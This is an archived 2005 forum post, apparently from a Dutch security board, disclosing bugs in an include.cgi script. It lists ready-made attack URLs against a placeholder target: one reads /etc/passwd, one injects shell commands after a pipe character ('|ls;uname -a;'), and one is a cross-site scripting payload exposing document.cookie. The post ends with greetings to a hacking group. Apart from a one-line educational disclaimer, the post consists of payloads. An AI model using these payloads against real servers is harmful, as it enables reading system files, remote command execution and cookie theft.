PDA

Bekijk Volledige Versie : remote command execution in include.cgi script



fireboy fireboy
25/04/05, 20:05
Tunis 24/04/2005
BUG found by fireboy
fireboy@webmails.com



THERE ARE SOME BUGS IN include.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE


1)file showing
http://www.target.com/cgi-bin/include.cgi?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/include.cgi?|command

3)CSS
www.target.com/cgi-bin/include.cgi?<script>alert(document.cookie)</script>

ex:
http://www.target.com/cgi-bin/include.cgi?|ls;uname -a;



greetz to all magattack memebers www.magattack.tk